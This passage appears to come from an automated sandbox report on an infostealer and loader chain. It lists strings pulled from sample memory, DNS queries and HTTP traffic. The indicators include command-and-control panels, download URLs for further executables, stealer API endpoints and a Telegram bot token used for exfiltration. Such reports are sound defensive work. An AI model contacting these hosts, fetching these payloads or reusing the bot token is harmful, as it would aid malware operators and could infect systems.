day\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\"]}]"}} equals www.youtube.com (Youtube)
Source: 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: da":{"cohort":"1::","cohortname":"","dlrc":6120,"installdate":6120,"pf":"dcb37f49-aa68-4ebc-a8d4-14eaa556e331"}}},"web_app":{"app_id":{"install_url":{"aghbiahbpaijignceidepookljebhfak":["https://drive.google.com/drive/installwebapp?usp=chrome_default"],"agimnkijcaahngcdmfeangaknmldooml":["https://www.youtube.com/s/notifications/manifest/cr_install.html"],"fhihpiojkbmbpdjeoajapmgkhlnakfjf":["https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default"],"fmgjjmmmlfnkbppncabfkddbjimcfncm":["https://mail.google.com/mail/installwebapp?usp=chrome_default"],"kefjledonklijopmnomlcbpllchaibag":["https://docs.google.com/presentation/installwebapp?usp=chrome_default"],"mpnpojknpmmopombnjdcgaaiekajbnjb":["https://docs.google.com/document/installwebapp?usp=chrome_default"]}}},"web_apps":{"did_migrate_default_chrome_apps":["MigrateDefaultChromeAppToWebAppsGSuite","MigrateDefaultChromeAppToWebAppsNonGSuite"],"last_preinstall_synchronize_version":"117","migrated_default_apps":["aohghmighlieiainnegkcijnfilokake","aapocclcgogkmnckokdopfmhonfmgoek","felcaaldnbdncclmgdcncolpebgiejap","apdfllckaahabafndbhieahigkjlhalf","pjkljhegncpnkpknbcohdijeoejaedia","blpcfgokakmgnkcojhhkbfbldkacnbeo"]},"zerosuggest":{"cachedresults":")]}'\n[\"\",[\"one piece chapter 1094 spoilers twitter\",\"baltimore drinking water parasites\",\"assassin creed mirage release\",\"rwd tesla model y\",\"michigan hockey johnny druskinis\",\"loki season 2 jonathan majors\",\"google pixel 8 pro leaks\",\"amazon prime deals prime day\"],[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],[],{\"google:clientdata\":{\"bpc\":false,\"tlw\":false},\"google:groupsinfo\":\"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\\u003d\",\"google:suggestdetail\":[{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002},{\"zl\":10002}],\"google:suggestrelevance\":[1257,1256,1255,1254,1253,1252,1251,1250],\"google:suggestsubtypes\":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],\"google:suggesttype\":[\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\",\"QUERY\"]}]"}}chedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340886957835794","type":2,"window_count":0},{"crashed":false,"time":"13340886960923866","type":0},{"did_schedule_command":true,"first_session_service":true,"tab_count":1,"time":"13340886965177921","type":2,"window_count":1},{"crashed":false,"time":"13340890857002147","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890857032656","type":2,"window_count":0},{"crashed":false,"time":"13340890860222296","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890860225507","type":2,"window_count":0},{"crashed":false,"time":"13340890862208495","type":0},{"did_schedule_command":false,"first_session_service":true,"tab_count":0,"time":"13340890862220490","type":2,"window_count":0},{"crashed":false,"time"

Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5ht.top
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 21 Dec 2024 17:16:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oj8NPlXgGxU6%2FUVST66rq2S3pL93iP%2FRlgRL7RDcXmRIkJpSJvHmi66FKlPFNWhi56XD%2FjTZrZ9oibySgAANUap1lrH8LGkLNf%2BKDSVi1Iwo9Qj1itZIHCP5HJocbZCITWZZGm0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f5984ea3b1c8c69-EWR

Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.css
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpWgSLMx
Source: Gxtuum.exe, 00000031.00000002.2987689821.000000000165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/
Source: Gxtuum.exe, 00000031.00000002.2987689821.0000000001661000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000031.00000002.2987689821.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.php
Source: Gxtuum.exe, 00000031.00000002.2987689821.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.193.31.8/3ofn3jf3e2ljk2/index.phpa
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe_
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2990887486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe1
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeh
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exei
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/kardanvalov88/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe01
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe2
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe84
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exe84760
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeC:
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeLMEMXH
Source: skotes.exe, 00000006.00000002.2990887486.0000000000B3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeSSC:
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeTemp
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.execoded
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exee
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeegUF
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exeu
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/karl/random.exexe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/loadman/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe.
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/zhigarko/random.exe
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/zhigarko/random.exeu
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPR
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argume
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argume4
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=uKsqdVCOyF9DZVCd1734801424L
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: 1b73492cb0.exe, 0000002D.00000002.2992166550.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRividual
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.2990887486.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 8aec52a3fa.exe, 0000000F.00000000.2692607710.0000000000423000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0516ff61af.exe, 00000007.00000003.2548566163.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2591590163.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2591675391.000002479E952000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2601864727.000001FED9297000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2601294829.000001FED9295000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: 6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/-application-key
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/:
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED9307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/C
Source: 6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/G
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/Z
Source: 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 6eea3e30e9.exe, 0000000D.00000002.2737853612.000001FED9E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=74270
Source: 6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.telegram.org/botFailed
Source: 6eea3e30e9.exe, 0000000C.00000002.2715905894.000002479E9F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/edia
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/j
Source: 6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/pb
Source: 6eea3e30e9.exe, 0000000C.00000002.2716618806.00000247A0670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/r
Source: 6eea3e30e9.exe, 0000000D.00000002.2737312768.000001FED92AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/rn
Source: 0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 0516ff61af.exe, 00000007.00000003.2572778765.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0516ff61af.exe, 00000007.00000003.2502972379.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2502885183.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0516ff61af.exe, 00000007.00000003.2605595676.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605393319.0000000001422000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2609253433.0000000001433000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605141063.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click
Source: 0516ff61af.exe, 00000007.00000003.2665947915.0000000001441000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2573804506.0000000005DE5000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665588166.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: 0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/77
Source: 0516ff61af.exe, 0516ff61af.exe, 00000007.00000003.2622229704.000000000140C000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2478796488.00000000013CB000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2622229704.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605595676.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667184074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605393319.0000000001422000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665757941.0000000001425000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2501989672.00000000013EB000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2605141063.000000000140C000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667288155.0000000001427000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2501717799.00000000013CB000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2501717799.00000000013D6000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2666977755.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665588166.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: 0516ff61af.exe, 00000007.00000003.2622110220.0000000001433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api:
Source: 0516ff61af.exe, 00000007.00000003.2501895952.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api?
Source: 0516ff61af.exe, 00000007.00000003.2622229704.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiB
Source: 0516ff61af.exe, 0516ff61af.exe, 00000007.00000003.2605595676.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2622110220.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2525794793.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2583168665.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/api
Source: 0516ff61af.exe, 00000007.00000003.2665757941.0000000001425000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000002.2667288155.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/apiT
Source: 0516ff61af.exe, 00000007.00000003.2622110220.0000000001443000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665997926.0000000001448000.00000004.00000020.00020000.00000000.sdmp, 0516ff61af.exe, 00000007.00000003.2665947915.0000000001441000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/apinQG
Source: 6eea3e30e9.exe, 0000000D.00000003.2605342438.000001FED92A1000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604805622.000001FED92A0000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604560234.000001FED9294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.goo2
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: 6eea3e30e9.exe, 0000000C.00000003.2592212871.000002479E985000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592697045.000002479E991000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592794468.000002479E998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreD
Source: 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2605292956.000001FED92DE000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreb
Source: 6eea3e30e9.exe, 0000000C.00000003.2592025523.000002479E968000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000C.00000003.2592070604.000002479E984000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreu
Source: 6eea3e30e9.exe, 0000000D.00000003.2605196927.000001FED92BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6eea3e30e9.exe, 0000000C.00000003.2592375759.000002479E952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx4298
Source: 6eea3e30e9.exe, 0000000D.00000003.2605641404.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2603920378.000001FED92B3000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604919153.000001FED92CA000.00000004.00000020.00020000.00000000.sdmp, 6eea3e30e9.exe, 0000000D.00000003.2604264704.000001FED92C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxA0FD
